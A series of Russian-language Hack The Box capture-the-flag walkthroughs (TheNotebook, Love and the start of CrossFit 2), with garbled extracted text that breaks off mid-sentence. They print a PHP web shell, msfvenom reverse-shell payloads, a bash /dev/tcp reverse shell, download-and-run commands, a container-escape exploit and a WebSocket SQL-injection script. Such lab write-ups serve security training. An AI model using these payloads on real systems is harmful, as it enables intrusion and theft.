Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

Ад рес машины сра зу же кида ем в , что бы даль ше набирать толь ко
наз вание.

/etc/hosts

10.10.10.230    thenotebook.htb 

И, как и любая дру гая ата ка, работа над вир туал кой начина ется со ска ниро- 
вания пор тов. При вожу свой тра дици онный скрипт, который дела ет это в два
про хода при помощи Nmap.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем два откры тых пор та: 22 (служ ба SSH)
и 80 (веб-сер вер nginx 1.14.0). Для начала вни матель но осмотрим ся на сай те
и соберем информа цию.

Сайт пре дос тавля ет воз можность регис тра ции и даль нейшей авто риза- 
ции. Сто ит сра зу выпол нить эти дей ствия, так как очень высока веро ятность
тем самым уве личить повер хность ата ки.

Глав ная стра ница сай та

Пос ле авто риза ции нам откры вают ся фун кции соз дания, хра нения и чте ния
заметок. А это потен циаль ная точ ка вхо да.

Стра ница работы с замет ками

В дан ном слу чае сто ит прос мотреть все зап росы к сер веру и его отве ты.
Не исклю чено, что таким обра зом обна ружат ся логичес кие ошиб ки в при- 
ложе нии. Для отло ва  зап росов и отве тов прок сиру ем их через Burp.
Нас тро ив его, про ходим пол ный цикл работы с замет кой: соз даем ее и прос- 
матри ваем.

âñåõ

Стра ница соз дания и запол нения замет ки

Стра ница прос мотра заметок

А теперь смот рим исто рию зап росов в Burp.

Ис тория зап росов Burp

При прос мотре зап росов сра зу обра тим вни мание на исполь зуемые cookie.
По фор мату авто риза цион ная печень ка уж очень похожа на JWT.

Cookie, переда ваемые веб-сер веру

ÒÎ×ÊÀ ÂÕÎÄÀ. ÌÀÍÈÏÓËßÖÈÈ JWT

JSON Web Token сос тоит из трех час тей: заголов ка (header), полез ной наг- 
рузки (payload) и под писи. Заголо вок и полез ная наг рузка пред став ляют
собой объ екты JSON, а наг рузка может быть любой — это имен но те кри- 
тичес кие дан ные, которые переда ются при ложе нию.

За голо вок содер жит поля:
 — алго ритм, исполь зуемый для под писи/шиф рования. Это обя затель-

ный ключ;
• alg

 — тип токена. Дол жно иметь зна чение ;• typ JWT
 — тип содер жимого.• cty

Тре тий эле мент вычис ляет ся на осно вании пер вых и зависит от выб ранно го
алго рит ма. Токены могут быть переко диро ваны в ком пак тное пред став ление:
к заголов ку и полез ной наг рузке при меня ется алго ритм кодиро вания Base64-
URL, пос ле чего добав ляет ся под пись и все три эле мен та раз деля ются точ- 
ками (как на скрин шоте выше).

Поп робу ем разоб рать дан ные. Для это го нам понадо бит ся либо при ложе- 
ние , либо онлай новый сер вис . Я выб рал , что бы ничего
не уста нав ливать, и даль ше буду исполь зовать его.

jwt_tool jwt.io jwt.io

В нашем вари анте в заголов ке при сутс тву ет ключ , ука зыва ющий
на при ват ный ключ, а в качес тве под писан ных дан ных зна чат ся исполь зуемые
при регис тра ции дан ные — имя поль зовате ля и адрес элек трон ной поч ты.
Но в дан ных при сутс тву ет еще один ключ , ско рее все го обоз нача- 
ющий наличие при виле гий.

kid

admin_cap

Раз бор JWT с помощью jwt.io

Что делать даль ше, понят но — нуж но изме нить ключ, отве чающий за наличие
при виле гий адми нис тра тора, под писать новые дан ные, сге нери ровать новый
JWT и заменить ста рый на сер висе заметок. Наличие при виле гий адми нис- 
тра тора может дать ряд сво их пре иму ществ — от чте ния при ват ной информа- 
ции до уста нов ки на сер вис раз ных допол нений (что, ско рее все го, при ведет
нас к уда лен ному выпол нению кода).

С изме нени ем клю ча  все ясно, прос то выс тавим еди нич ку.
Но что сде лать с под писью? В заголов ке ука зан адрес при ват ного клю ча, что
натал кива ет на идею: сге нери ровать свою пару клю чей для под писи токена,
раз местить их на сво ем веб-сер вере и затем в заголов ке ука зать адрес клю- 
ча на этом сер вере. Сна чала сге нери руем пару клю чей, а потом переве дем
в фор мат PEM.

admin_cap

 rsa  PEM ssh-keygen -t -b 4096 -m -f privKey.key 
  PEM openssl rsa -in privKey.key -pubout -outform -out pubKey.key.pub 

Ге нери рова ние пары клю чей

Те перь запус тим в той же дирек тории прос той веб-сер вер на осно ве Python
3.

python3 -m http.server 

По ра генери ровать новый токен. Изме няем зна чения по клю чам 
и , во вто ром слу чае ука зыва ем URL сге нери рован ного клю ча. Так же
встав ляем сге нери рован ные пуб личный и при ват ный клю чи в поля Verify
Signature. Если ты все сде лал пра виль но, то ниже токена уви дишь над пись
Signature Veried.

admin_cap
kid

Соз дание нового токена

Встав ляем новый токен в cookie, нап ример с помощью рас ширения для бра- 
узе ра , и обновля ем стра ницу. В окне запущен ного веб-сер вера
уви дим обра щение к фай лу клю ча, а в бра узе ре, если обно вить стра ницу,
появит ся ссыл ка на админ скую панель.

Cookie Editor

Ло ги веб-сер вера

Раз делы сай та

ÒÎ×ÊÀ ÎÏÎÐÛ. ÓßÇÂÈÌÎÑÒÜ ÏÐÈ ÇÀÃÐÓÇÊÅ ÔÀÉËÎÂ

Нам ста ли дос тупны для прос мотра замет ки адми нис тра тора — мож но поис- 
кать в них что-нибудь инте рес ное. Но помимо это го, откры лась фор ма
для заг рузки фай лов. Сре ди админ ских заметок видим упо мина ние исполне- 
ния фай лов PHP, а это потен циаль ный век тор ата ки.

За мет ка об исправ лении кон фигура ций

Поп робу ем заг рузить PHP-скрипт, который будет при нимать коман ду
в парамет ре  и выпол нять ее с помощью фун кции . Пос ле заг рузки
нам покажут, с каким име нем был заг ружен файл.

c system

   <?php echo system($_GET["c"]); ?>

Фор ма заг рузки фай ла

Имя сох ранен ного фай ла

Те перь обра тим ся к заг ружен ному бэк дору и переда дим ему коман ду .
Коман да успешно выпол нена, а мы понима ем, что работа ем в кон тек сте учет- 
ной записи веб-сер вера.

id

Вы пол нение коман ды через заг ружен ный бэк дор

Так как заг ружен ный шелл работа ет, мы можем закинуть еще один, более
удоб ный, который может дать нам инте рак тивную кон соль. Я для этих целей
выб рал Meterpreter. Сге нери ровать соот ветс тву ющий файл мож но дву мя сле- 
дующи ми стро ками кода.

4321 
 raw 

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.178 LPORT=
-f > r.php 

   |    
 

cat r.php | xclip -selection clipboard && echo '<?php ' tr -d '\n'
> r.php && xclip -selection clipboard -o >> r.php 

Пер вая стро ка генери рует основной код наг рузки с помощью msfvenom.
Здесь нуж но ука зать локаль ный адрес и порт для бэк коннек та, а так же фор- 
мат сох ранения дан ных. Вто рая коман да офор мит сге нери рован ный код
в теги PHP.

Ге нери рова ние наг рузки Meterpreter в фор мате PHP

Те перь запус тим уни вер саль ный лис тенер в Metasploit. За это отве чает
модуль , которо му тре бует ся знать тип наг рузки, а так же локаль ные
адрес и порт, где нуж но при нимать соеди нение.

handler

msfconsole 
handler -p php/meterpreter_reverse_tcp -H 10.10.14.178 -P 4321 

За пуск лис тенера

Заг ружа ем на сер вер сге нери рован ный файл, запус каем его и получа ем бэк- 
коннект. Акти виру ем толь ко что соз данную сес сию коман дой 
и про веря ем кон текст, в котором мы работа ем (коман да ).

session -i 1
getuid

Бэк коннект Meterpreter

Мы под клю чились как поль зователь , а зна чит, впе реди еще эска- 
лация при виле гий.

www-data

ÏÐÎÄÂÈÆÅÍÈÅ

Как най ти путь для даль нейше го прод вижения? Мож но про верять вруч ную все
воз можные вари анты эска лации при виле гий (о них читай в статье «

»), а мож но вос поль зовать ся . Заг рузим на локаль- 
ный хост скрипт для Linux.

Пра во
на root го товы ми скрип тами

wget https://raw.githubusercontent.com/carlospolop/privilege-
escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh 

Те перь нуж но заг рузить его на уда лен ный хост. Бла го  име ет
встро енную фун кцию  для заг рузки фай лов. Получив инте рак тивный
шелл, наз начим пра во на выпол нение и запус тим этот чудо-скрипт.

meterpreter
upload

upload /tmp/linpeas.sh /tmp 
shell 
chmod +x /tmp/linpeas.sh 
/tmp/linpeas.sh 

Заг рузка фай ла на сер вер

В пун кте, где перечис лены инте рес ные фай лы, видим бэкап домаш ней дирек- 
тории поль зовате ля, в том чис ле и клю чи SSH.

Спи сок фай лов, дос тупных для записи

При ват ный SSH-ключ поль зовате ля

Ко пиру ем этот при ват ный ключ на локаль ный хост и обя затель но наз нача ем
ему стро го опре делен ные пра ва коман дой . Пос ле под- 
клю чения от име ни поль зовате ля noah забира ем пер вый флаг.

chmod 0600 id_rsa

ssh -i id_rsa noah@thenotebook.htb 

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

На ибо лее веро ятное мес то для повыше ния при виле гий — это нас трой ки
sudoers и при ложе ния с выс тавлен ным битом SUID. Пишем , что бы
про верить, какие коман ды мож но запус кать от име ни рута.

sudo -l

Нас трой ки судо ера

Ви дим, что любой поль зователь (ALL) может выпол нить вот эту коман ду в при- 
виле гиро ван ном кон тек сте без вво да пароля (NOPASSWD):

 /usr/bin/docker exec -it  webapp-dev01*

В кол лекции  для этой коман ды готово го рецеп та нет. Поэто му нач- 
нем копать самос тоятель но и пер вым делом выяс ним, какая вер сия Docker
у нас исполь зует ся.

GTFOBins

docker version 

Вер сия Docker

Итак, это вер сия . Нам оста ется толь ко поис кать экс пло иты
для нее. Если у тебя сто ит Kali Linux, то пер вым делом можешь поп робовать
поис кать при помощи ути литы searchsploit:

18.06.0-ce

searchsploit docker 

Экс пло иты, най ден ные searchsploit

Два пос ледних перечис ленных экс пло ита помече ны как Docker Breakout —
побег из кон тей нера Docker. И наша вер сия удов летво ряет усло вию. Я выб- 
рал экс пло ит , который нацелен на баг . С его помощью
вре донос ный кон тей нер может перепи сать на хос те бинар ник  и таким
обра зом дает воз можность выпол нять на хос те коман ды от име ни рута.

46369 CVE-2019-5736
runc

Но есть усло вие: мы можем запус кать любые коман ды с пра вами root
в рам ках кон тей нера в двух кон тек стах:

соз дание нового кон тей нера из кон тро лиру емо го нами обра за;•
под клю чение (docker exec) к сущес тву юще му кон тей неру с дос тупом
на запись.

•

Ко ман да из sudoers обес печива ет нам вто рой кон текст. При поис ке готово го
PoC я нашел на GitHub  на язы ке Go. В коде нуж но
изме нить выпол няемую коман ду (стро ка 16). Вари антов мно го, я выб рал вот
такой реверс-шелл (сле дует ука зать локаль ные адрес и порт):

ре али зацию экс пло ита

bash  -i >& /dev/tcp/[IP]/[PORT] 0>&1 

Ис ходная коман да

Из менен ная коман да с реверс-шел лом

Ос тает ся соб рать этот код. Если у тебя не уста нов лен Go, то понадо бит ся
уста новить.

apt intstall golang 
go build main.go 

Те перь соз даем лис тенер, который будет при нимать наше соеди нение. Я
рекомен дую исполь зовать обо лоч ку , а в качес тве лис тенера возь мем
netcat.

rlwrap

apt install rlwrap 
 rlwrap nc -lvp [port] 

Ког да все готово к экс плу ата ции, откры ваем вто рую кон соль и авто ризу емся
в ней по SSH. Так как нам нуж но будет заг рузить готовый экс пло ит в кон тей- 
нер, запус тим прос той HTTP-сер вер на локаль ной машине в дирек тории, где
рас положен соб ранный экс пло ит.

python3 -m http.server 

Те перь мы смо жем заг рузить экс пло ит пря мо из Docker с помощью wget.
В пер вой кон соли под клю чаем ся к Docker, заг ружа ем экс пло ит, даем фай лу
пра во на выпол нение и выпол няем.

 sudo docker exec -it webapp-dev01 /bin/bash 
wget 10.10.14.178:8000/main -O /tmp/main 
chmod +x /tmp/main 
/tmp/main 

Кон соль 1. Запуск экс пло ита

Ви дим сооб щение о переза писи фай ла обо лоч ки. Теперь под клю чим ся
к обра зу из вто рой кон соли.

 sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh 

Кон соль 2. Под клю чение к обра зу

В это вре мя в пер вой кон соли можем сле дить за успешным выпол нени ем ата- 
ки.

Кон соль 1. Завер шение работы экс пло ита

То кен рута

Та ким путем мы зах ватыва ем дан ную машину и име ем над ней пол ный кон- 
троль.

mailto:hackerralf8@gmail.com
https://github.com/ticarpi/jwt_tool
https://jwt.io/
https://jwt.io/
https://chrome.google.com/webstore/detail/cookie-editor/hlkenndednhfkekhgcdicdfddnkalmdm?hl=en
https://xakep.ru/2020/08/25/linux-privileges-escalation/
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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https://www.exploit-db.com/exploits/46369
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ВЗЛОМ

В этой статье я покажу, как под делка сер- 
верных зап росов (SSRF) может помочь
при ком про мета ции хос та. Так же мы изу чим
метод повыше ния при виле гий через опцию

. В этом нам
поможет машина низ кого уров ня слож ности
под наз вани ем Love с пло щад ки 
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WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

Ад рес машины — 10.10.10.239, добав ляем его в ./etc/hosts

10.10.10.239    love.htb

И ска ниру ем пор ты.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

Ви дим мно жес тво откры тых пор тов и работа ющих на них служб:
пор ты 80, 5000 — веб-сер вер Apache 2.4.46;•
порт 135 — служ ба уда лен ного вызова про цедур (Microsoft RPC);•
порт 139 — служ ба имен NetBIOS;•
порт 443 — веб-сер вер Apache 2.4.46 + OpenSSL 1.1.1j;•
порт 445 — служ ба SMB;•
порт 3306 — СУБД MySQL;•
порт 5040 — неиз вес тно;•
пор ты 5985, 5986 — служ ба уда лен ного управле ния Windows (WinRM).•

Пер вым делом про веря ем, что нам может дать SMB (коман да 
), но для ано нима ничего не дос тупно. Поэто му перек люча емся

на веб. При ска ниро вании пор та 443 мы получи ли информа цию из сер- 
тифика та, отку да узна ем о еще одном сай те — . Этот
домен тоже добав ляем в .

smbmap -H 
love.htb

staging.love.htb
/etc/hosts

10.10.10.239 staging.htb

Те перь вни матель но изу чим оба сай та в поис ках точек для вхо да, имен поль- 
зовате лей и дру гой важ ной инфы. Сайт  встре чает нас фор мой авто- 
риза ции, но нам ста новит ся извес тна исполь зуемая тех нология — Voting
System.

love.htb

Фор ма авто риза ции love.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

 — это нес ложная голосо вал ка, написан ная на PHP. Навер няка
для нее дол жны быть готовые экс пло иты. Запус каем  из Kali
Linux и находим сра зу нес коль ко.

Voting System
searchsploit

По иск экс пло итов с помощью searchsploit

Нас инте ресу ют четыре пос ледних экс пло ита:
1. Пер вый экс плу ати рует SQL-инъ екцию для обхо да авто риза ции.
2. Вто рой даст уда лен ное выпол нение кода через заг рузку фай лов, одна ко

мы дол жны быть авто ризо ваны в сис теме.
3. Пред послед ний экс пло ит даст уда лен ное выпол нение кода без авто риза- 

ции.
4. Пос ледний — Time based SQL-инъ екция, тоже без авто риза ции.

Сна чала сто ит поп робовать экс пло иты, для которых не нуж на авто риза ция.
Наибо лее опас ный — RCE. Как ска зано в опи сании, мы можем выпол нить заг- 
рузку фай ла через  без авто риза ции и обра- 
тить ся к фай лу в дирек тории , вот толь ко этот экс пло ит не отра ботал.

/admin/candidates_add.php
images

Зап рос для заг рузки фай ла

Зап рос к заг ружен ному фай лу

Ва риант с обхо дом аутен тифика ции тоже не работа ет, а вот вари ант с Time
Based SQL-инъ екци ей ока зал ся рабочим. Сох раня ем зап рос при авто риза- 
ции в файл (в моем слу чае ) и переда ем его в sqlmap, как ска зано
в опи сании к экс пло иту.

req.r

Зап рос при авто риза ции

 1 3 sqlmap --dbms=mysql --batch --level= --risk= -r req.r -p voter 

Вы вод sqlmap

Да лее потихонь ку вытас кива ем таб лицы с помощью того же sqlmap:

1 3 sqlmap --level= --risk= -r req.r --tables

Но пос коль ку это Time Based SQLi, это будет очень дол го, так что во вре мя
работы sqlmap можем тес тировать дру гой сайт. На 

 на стра нице Demo есть сер вис ана лиза фай лов.
http://staging.love.

htb

Фор ма ана лиза фай лов

Для про вер ки сер виса откро ем лис тенер и ука жем в фор ме свой IP. И сра зу
получим отстук.

От стук на локаль ный сер вер

В таких сер висах сто ит про верять наличие уяз вимос ти SSRF. SSRF — это ата- 
ка на сер вер, в резуль тате которой зло умыш ленник получа ет воз можность
отправ лять зап росы от име ни ском про мети рован ного хос та. SSRF может
исполь зовать ся в DoS-кам пани ях для мас киров ки реаль ного источни ка ата ки.
Таким обра зом, уяз вимый хост выс тупа ет в качес тве прок си-сер вера.
Для тес та SSRF ука зыва ем адрес 127.0.0.1 и получа ем зна комую фор му авто- 
риза ции.

Тес тирова ние сер виса на наличие уяз вимос ти SSRF

Есть SSRF! Но чем она нам может помочь? К при меру, мы можем прос- 
каниро вать пор ты, дос тупные для localhost, а так же прос матри вать сер висы,
работа ющие по HTTP. При ска ниро вании пор тов мы получи ли ответ Forbidden
от сер виса, за который отве чает порт 5000. Взгля нем на него еще раз,
исполь зуя наш «прок си».

Прос мотр сер виса на пор те 5000

Мы попали на какой-то сер вис, где можем под смот реть пароль адми нис тра- 
тора, а затем авто ризо вать ся на .http://love.htb/admin/

Па нель адми нис тра тора Voting System

ÒÎ×ÊÀ ÎÏÎÐÛ

Так как у нас появи лись учет ные дан ные, оста лось про верить пос ледний экс- 
пло ит, который даст уда лен ное выпол нение кода через заг рузку фай ла.
Но перед запус ком взгля нем на .ис ходный код экс пло ита

Ис ходный код экс пло ита

Экс пло ит дол жен выз вать кон нект на ука зан ный адрес (локаль ный IP) и порт.
Но сна чала необ ходимо соз дать лис тенер, который будет при нимать дан ное
соеди нение. Я в таких слу чаях исполь зую  — удоб ную обо лоч ку с исто- 
рией команд. В качес тве лис тенера возь мем извес тный netcat.

rlwrap

apt install rlwrap 
 rlwrap nc -lvp [port] 

За тем нуж но ука зать адрес и порт лис тенера в стро ках 15 и 16 кода, адрес
ата куемо го хос та в стро ке 12, а так же логин и пароль поль зовате ля — в стро- 
ках 13 и 14. Обра ти вни мание на URL в стро ках 19–22. В нашем слу чае
на сай те отсутс тву ет каталог , поэто му и в коде его нуж но уда лить.
Ниже при веден изме нен ный код экс пло ита.

votesystem

Из менен ный код экс пло ита

И пос ле выпол нения получа ем бэк коннект.

Вы пол нение экс пло ита

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать
информа цию. Источни ков информа ции очень мно го, и в таких слу чаях при- 
гож дают ся , которые про веря ют их все на авто мате. Заг рузим
на локаль ный хост скрипт для Windows.

скрип ты PEASS

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/
winPEASx64.exe -O wpeas.exe 

Те перь нуж но заг рузить его на уда лен ный хост. В дирек тории со скрип том
на локаль ной машине запус тим с помощью  прос той веб-сер вер. Пос- 
ле выпол нения дан ной коман ды веб-сер вер будет прос лушивать порт 8000.

python

python3 -m http.server 

А теперь с помощью того же  на целевой машине заг рузим
скрипт с локаль ного хос та на уда лен ный. Пос ле заг рузки необ ходимо выпол- 
нить скрипт.

powershell wget

powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\
Windows\Temp\wpeas.exe
C:\Windows\Temp\wpeas.exe

В выводе WinPEAS мож но обра тить вни мание на нас трой ку UAC, исто рию
команд PowerShell, а глав ное — это уста нов ленная опция

.AlwaysInstallElevated

UAC Status

PowerShell Settings

Checking AlwaysInstallElevated

Эта опция ука зыва ет, что любой файл MSI дол жен уста нав ливать ся
с повышен ными при виле гиями ( ). Соот ветс твен но,
соз дав и заг рузив такой файл, мож но выпол нять дей ствия от име ни сис темы
даже неп ривиле гиро ван ному поль зовате лю.

NT AUTHORITY\SYSTEM

Да вай соз дадим файл MSI с реверс-шел лом. В этом может помочь
Metasploit Framework, а имен но модуль msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f 
msi -o r.msi

Ге нери рова ние наг рузки

Те перь запус тим уни вер саль ный лис тенер в Metasploit. За это отве чает
модуль , которо му тре бует ся знать тип наг рузки, а так же локаль ные
адрес и порт, где нуж но при нимать соеди нение.

handler

handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321

Соз дание лис тенера

Заг ружа ем файл .msi тем же спо собом, что и WinPEAS, а затем запус каем.
Спус тя нес коль ко секунд получим новую сес сию Metasploit.

powershell wget http://[ip_локального_хоста]:8000/r.msi -O C:\
Windows\Temp\r.msi
msiexec /quiet /qn /i C:\Windows\Temp\r.msi

Флаг рута

Мы зах ватили машину и име ем над ней пол ный кон троль.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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https://github.com/hanslub42/rlwrap
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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ВЗЛОМ

Се год ня мы порабо таем с тех нологи ей
WebSocket, про экс плу ати руем UNION SQL
Injection, про ведем ата ку DNS rebinding,
заюзаем багу в при ложе нии на Node.js
и раз берем ся с тем, как авто ризо вать ся
на хос те при помощи YubiKey. Все это поз- 
волит нам зах ватить машину CrossFit
2 с пло щад ки  уров ня слож- 
ности Insane.

Hack The Box

INFO

Чи тай так же: «
».

HTB CrossFit. Рас кру чива ем слож- 
ную XSS, что бы зах ватить хост

ÐÀÇÂÅÄÊÀ

Ад рес машины — 10.10.10.232, добав ляем его в  как 
 и прис тупа ем к ска ниро ванию пор тов.

/etc/hosts crossfit2.
htb

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. В его
резуль тате ата кующий узна ет, какие служ бы на хос те при нима ют соеди нение.
Эта информа ция поз воля ет выб рать даль нейший путь к получе нию точ ки вхо- 
да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов для Nmap (опция ).-A

По луча ем сле дующие резуль таты.

Ре зуль тат работы скрип та

Итак, мы име ем три откры тых пор та:
22 — служ ба OpenSSH 8.4;•
80 — веб-сер вер OpenBSD httpd PHP/7.4.12;•
8953 — служ ба Unbound.•

Пер вым делом сто ит заг лянуть на дос тупный сайт.

Стар товая стра ница сай та

Ñêàíèðîâàíèå âåá-êîíòåíòà

Что бы ничего не оста лось незаме чен ным, информа цию на сай те будем
собирать через Proxy. В шап ке сай та находим навига цию, а так же опре деля- 
ем, что пос ледняя ссыл ка ведет на дру гой под домен: 

. Добавим его в файл , так же изме ним име ющуюся у нас
запись с  на .

employees.crossfit.
htb /etc/hosts

crossfit2.htb crossfit.htb

10.10.10.232    crossfit.htb employees.crossfit.htb 

На самом сай те нас встре чает фор ма авто риза ции, боль ше ничего мы там
не получим. Так как все наши дей ствия фик сирова ны в Burp, заг лянем в Burp
History. Там мы обна ружим, что при обра щении к глав ной стра нице дела ется
зап рос еще на один под домен.

Вклад ка Burp History

До бавим этот под домен в файл  и пов торим зап рос к глав ной
стра нице. Затем отпра вим ся в Burp и про верим ответ, который вер нул сер- 
вер при зап росе к новому под домену.

/etc/hosts

10.10.10.232    crossfit.htb employees.crossfit.htb gym.crossfit.htb 

Вклад ка Burp History

В отве те видим опо веще ние о сме не про токо ла на WebSocket.

Продолжение статьи →

mailto:hackerralf8@gmail.com
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ÒÎ×ÊÀ ÂÕÎÄÀ

WebSocket

WebSocket — это про токол свя зи поверх TCP-соеди нения, пред назна чен ный
для обме на сооб щени ями меж ду бра узе ром и веб-сер вером в режиме
реаль ного вре мени. WebSocket осо бен но хорош для сер висов, которые нуж- 
дают ся в пос тоян ном обме не дан ными, нап ример для онлай новых игр, тор- 
говых пло щадок, чатов.

Пос ле уста нов ления соеди нения уже нет деления на кли ент и сер вер,
а есть два рав ноправ ных учас тни ка обме на дан ными. Каж дый работа ет сам
по себе и, ког да надо, отправ ляет дан ные дру гому.

Для прос мотра сооб щений по про токо лу WebSocket перей дем к Burp
WebSocket History. Там находим единс твен ное сооб щение, в содер жимом
которо го будет при ветс твие, информа ция о коман де  и какой-то токен.help

Вклад ка Burp WebSocket History

Ра ботать с WebSocket будет удоб но с помощью инте рак тивной кон соли. Ее
нес ложно орга низо вать при помощи Python 3 и модуля .websockets

python3 -m websockets ws://gym.crossfit.htb/ws/ 

Ус танов ление соеди нения WebSockets

Пос ле под клю чения нам сра зу приш ло зна комое сооб щение. Давай поп робу- 
ем получить справ ку. Сооб щение с коман дой нуж но будет отпра вить тоже
в JSON.

{"command":"help"}

Зап рос справ ки

В отве те нам сооб щают о невер ном токене, поэто му пов торя ем отправ ку,
но вклю чаем новый параметр.

{"command":"help", "token": 
"29a20a82768c1531e28fe18a519a59fbe986801ebdcd543920dbe3bdaa8c20d9"}

Пов торный зап рос справ ки

На ше сооб щение оста ется без отве та, а пос ле пов торной отправ ки нам
вооб ще сооб щают, что токен боль ше не дей стви телен, и дают новый токен.
Инте рес но! Давай поищем фраг мент кода, который отве чает за отправ ку
сооб щений. В панели бра узе ра перехо дим к вклад ке Debug и находим файл

.ws.min.js

Пов торный зап рос справ ки

В коде находим отправ ку сооб щения в парамет ре  и токена —
в парамет ре . Отправ ляем свое сооб щение в ана логич ном фор мате.

message
token

{"message":"help","token":
"cdfc745eb97670fb768678a2fbe3d37eabd307dac630720392892e5525ad87f8"}

Пов торный зап рос справ ки

На конец нам при шел ответ, отку да мы узна ем о трех дос тупных коман дах:
,  и .coaches classes memberships

От пра вим все три коман ды и вни матель но пос мотрим на ответ сер вера.

Ко ман да coaches

Ко ман да classes

Ко ман да memberships

Во всех слу чаях нам вер нули HTML-код стра ницы. В пер вом вари анте мы
получа ем прос то информа цию о тре нерах, во вто ром — спи сок занятий, а вот
в ответ на коман ду  заод но со спис ком при езжа ет выбор опций.
Реали зован он как фун кция , в которую переда ется чис- 
ло от 1 до 4. Пос мотрим код этой фун кции в уже зна комом фай ле .

memberships
check_availability

ws.min.js

Код фун кции check_availability

Фун кция отправ ляет три парамет ра:
 — содер жит стро ку ;• message available

 — чис ло, передан ное в фун кцию;• params
.• token

{"message":"available","params":"1","token":
"6775bfe48d278f7a5bc90dcb6c0e9b47e8cfcfa266446ef8345f9e01e83e6233"}

От прав ка сооб щения available

В этом сооб щении я отпра вил четыре парамет ра и получил два раз ных вари- 
анта отве та: успешный и нет. При этом мы еще получа ем пояс нение
в парамет ре . То есть мы отправ ляем параметр, который сис тема обра- 
баты вает и дает резуль тат, а зна чит, это мес то для тес тирова ния!

debug

Даль ше я написал скрипт на Python 3, который в цик ле зап рашива ет
параметр.

#!/usr/bin/python3

 import json
   from websocket import create_connection

  def send_command(ws, token):
     inp = input("> ")
        
   

ws.send('{"message":"available","params":"' + inp + '","token":"'
+ token + '"}')
     req = ws.recv()
     token = json.loads(req)['token']
   print(req)
    return token

  ws = create_connection("ws://gym.crossfit.htb/ws/")
  req = ws.recv()

  token = json.loads(req)['token']

   for _ in range(100):
      token = send_command(ws, token)

Ре зуль тат работы скрип та

Все работа ет, идем даль ше.

SQL Injection

Так как ответ выбира ется в зависи мос ти от отправ ленно го парамет ра, пер-
вым делом я решил про верить SQL-инъ екцию. Бла го я регуляр но сос тавляю
сло вари для тес тов и нуж ный как раз имел ся под рукой. Что бы исполь зовать
его, нем ного под пра вим код.

#!/usr/bin/python3

 import json
 import time

   from websocket import create_connection

  def send_command(ws, token):
     inp = input("> ")
        
   

ws.send('{"message":"available","params":"' + inp + '","token":"'
+ token + '"}')
     req = ws.recv()
     token = json.loads(req)['token']
   print(req)
    return token

   def send_command2(ws, token, inp):
       print("input: <" + inp + ">")
        
   

ws.send('{"message":"available","params":"' + inp + '","token":"'
+ token + '"}')
     req = ws.recv()
     token = json.loads(req)['token']
   print(req)
    return token

  ws = create_connection("ws://gym.crossfit.htb/ws/")
  req = ws.recv()

  token = json.loads(req)['token']

    with open('/home/ralf/tmp/wordlists/SQL/1.check_sqli.txt', 'r') as f:
     wordlist = f.read().split('\n')[:-1]

   for w in wordlist:
       token = send_command2(ws, token, w)

Ре зуль тат работы скрип та

При отправ ке любого сооб щения, содер жащего двой ную кавыч ку ( ), отве та
мы не получа ем. По этой при чине исклю чим из сло варя любую наг рузку,
содер жащую этот сим вол. И пов торим выпол нение.

"

Ре зуль тат работы скрип та

Ре зуль тат работы скрип та (про дол жение)

Прос матри вая вывод, обна ружим реак цию сер вера на четыре наг рузки.
Смот рим ком мента рий SQL:

 и  вер нет дей стви тель ный ответ;• 1 and 1 1 and true
 и  вер нет наш ввод;• 1 and 0 1 and false

 вер нет дей стви тель ный ответ.• 1 -- -

Я нашел уяз вимость, и теперь ее нуж но экс плу ати ровать. Пер вым делом най- 
дем наг рузки для экс плу ата ции, поэто му сме ним сло варь и пов торим выпол- 
нение скрип та.

Ре зуль тат работы скрип та

Ре зуль тат работы скрип та (про дол жение)

В резуль тате есть реак ция на UNION-наг рузки. А имен но при отправ ке 
 получим ответ, параметр  которо го содер жит ,

а при отправ ке  в парамет ре 
отве та при сутс тву ет имя поль зовате ля базы дан ных. Такая уяз вимость
